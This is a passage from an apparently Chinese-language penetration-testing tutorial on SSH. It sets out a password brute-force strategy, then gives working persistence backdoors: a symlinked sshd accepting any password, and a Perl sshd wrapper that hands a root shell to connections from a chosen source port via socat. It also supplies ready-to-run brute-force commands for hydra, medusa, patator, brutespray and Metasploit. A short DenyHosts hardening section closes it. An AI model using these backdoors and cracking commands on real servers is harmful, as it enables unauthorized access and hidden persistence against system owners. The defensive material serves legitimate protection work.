2.思路
(1)對root賬號進行暴力破解
(2)使用中國姓名top1000作為用戶名進行暴力破解
(3)使用top 10000 password字典進行密碼破解
(4)利用掌握信息進行社工信息整理並生成字典暴力破解
(5)信息的綜合利用以及循環利用
ssh后門
1. 軟連接后門
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su-oPort=33223;
經典后門使用ssh root@x.x.x.x -p 33223直接對sshd建立軟連接,之后用任意密碼登錄即可。
但這隱蔽性很弱,一般的rookit hunter這類的防護腳本可掃描到。
2.SSH Server wrapper后門
(1)復制sshd到bin目錄
cd /usr/sbin
mv sshd ../bin
(2)編輯sshd
vi sshd //加入以下內容並保存
#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..LF/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
(4)修改權限
chmod 755 sshd
(5)使用socat
socat STDIOTCP4:target_ip:22,sourceport=19526
如果沒有安裝socat需要進行安裝並編譯
wget http://www.dest-unreach.org/socat/download/socat-1.7.3.2.tar.gz
tar -zxvf socat-1.7.3.2.tar.gz
cd socat-1.7.3.2
./configure
make
make install
(6)使用ssh root@ target_ip即可免密碼登錄
3.ssh公鑰免密
將本地計算機生成公私鑰,將公鑰文件復制到需要連接的服務器上的~/.ssh/authorized_keys文件,並設置相應的權限,即可免密碼登錄服務器。
chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh
ssh暴力破解命令總結及分析
1.所有工具的比較
通過對hydra、medusa、patator、brutepray以及msf下的ssh暴力破解測試,總結如下:
(1)每款軟件都能成功對ssh賬號以及密碼進行破解。
(2)patator和brutepray是通過python語言編寫,但brutepray需要medusa配合支持。
(3)hydra和medusa是基於C語言編寫的,需要進行編譯。
(4)brutepray基於nmap掃描結果來進行暴力破解,在對內網掃描后進行暴力破解效果好。
(5)patator基於python,速度快,兼容性好,可以在windows或者linux下稍作配置即可使用。
(6)如果具備kali條件或者PentestBox下,使用msf進行ssh暴力破解也不錯。
(7)brutepray會自動生成破解成功日志文件/brutespray-output/ssh-success.txt;hydra加參數“-o save.log”記錄破解成功到日志文件save.log,medusa加“-O ssh.log”參數可以將成功破解的記錄記錄到ssh.log文件中;patator可以加參數“-x ignore:mesg=’Authentication failed.’”來忽略破解失敗的嘗試,而僅僅顯示成功的破解。
2.命令總結
(1)hydra破解ssh密碼
hydra -lroot -P pwd2.dic -t 1 -vV -e ns 192.168.44.139ssh
hydra -lroot -P pwd2.dic -t 1 -vV -e ns -o save.log 192.168.44.139 ssh
(2)medusa破解ssh密碼
medusa -M ssh -h 192.168.157.131 -u root -Pnewpass.txt
medusa -M ssh -h192.168.157.131 -u root -P /root/newpass.txt -e ns –F
(3)patator破解ssh密碼
./patator.py ssh_login host=192.168.157.131user=root password=FILE0 0=/root/newpass.txt -x ignore:mesg='Authenticationfailed.'
./patator.py ssh_login host=192.168.157.131user=FILE1 1=/root/user.txt password=FILE0 0=/root/newpass.txt -x ignore:mesg='Authenticationfailed.'
如果不是本地安裝,則使用patator執行即可。
(4)brutespray暴力破解ssh密碼
nmap -A-p 22 -v 192.168.17.0/24 -oX 22.xml
pythonbrutespray.py --file 22.xml -u root -p toor --threads 5 --hosts 5
(5)msf暴力破解ssh密碼
use auxiliary
set rhosts192.168.17.147
setPASS_FILE
setUSER_FILE
run
九、 SSH暴力破解安全防范
1.修改/etc/ssh/sshd_config默認端口為其它端口。例如設置端口為2232,則port=2232
2.在/etc/hosts.allow中設置允許的IP訪問,例如sshd:192.168.17.144:allow
3.使用DenyHosts軟件來設置,其下載地址:
https://sourceforge.net/projects/denyhosts/files/denyhosts/2.6/DenyHosts-2.6.tar.gz/download
(1)安裝cdDenyHosts
# tar-zxvf DenyHosts-2.6.tar.gz
# cdDenyHosts-2.6
# pythonsetup.py install
默認是安裝到/usr/share/denyhosts目錄的。
(2)配置cdDenyHosts
PURGE_DENY= 50m #過多久后清除已阻止IP
HOSTS_DENY= /etc/hosts.deny #將阻止IP寫入到hosts.deny
BLOCK_SERVICE= sshd #阻止服務名
DENY_THRESHOLD_INVALID= 1 #允許無效用戶登錄失敗的次數
DENY_THRESHOLD_VALID= 10 #允許普通用戶登錄失敗的次數
DENY_THRESHOLD_ROOT= 5 #允許root登錄失敗的次數
WORK_DIR= /usr/local/share/denyhosts/data #將deny的host或ip紀錄到Work_dir中
DENY_THRESHOLD_RESTRICTED= 1 #設定 deny host 寫入到該資料夾
LOCK_FILE= /var/lock/subsys/denyhosts #將DenyHOts啟動的pid紀錄到LOCK_FILE中,已確保服務正確啟動,防止同時啟動多個服務。
HOSTNAME_LOOKUP=NO#是否做域名反解
ADMIN_EMAIL= #設置管理員郵件地址
DAEMON_LOG= /var/log/denyhosts #自己的日志文件
DAEMON_PURGE= 10m #該項與PURGE_DENY 設置成一樣,也是清除hosts.deniedssh 用戶的時間。
(3)設置啟動腳本
完了之后執行daemon-contronstart就可以了。
#./daemon-control start
如果要使DenyHosts每次重起后自動啟動還需做如下設置:
可以看看/etc/hosts.deny內是否有禁止的IP,有的話說明已經成功了。
以上內容來之本次專題研究內容之一,只有踏踏實實的做技術研究,才發現研究越多,知識面擴展越多。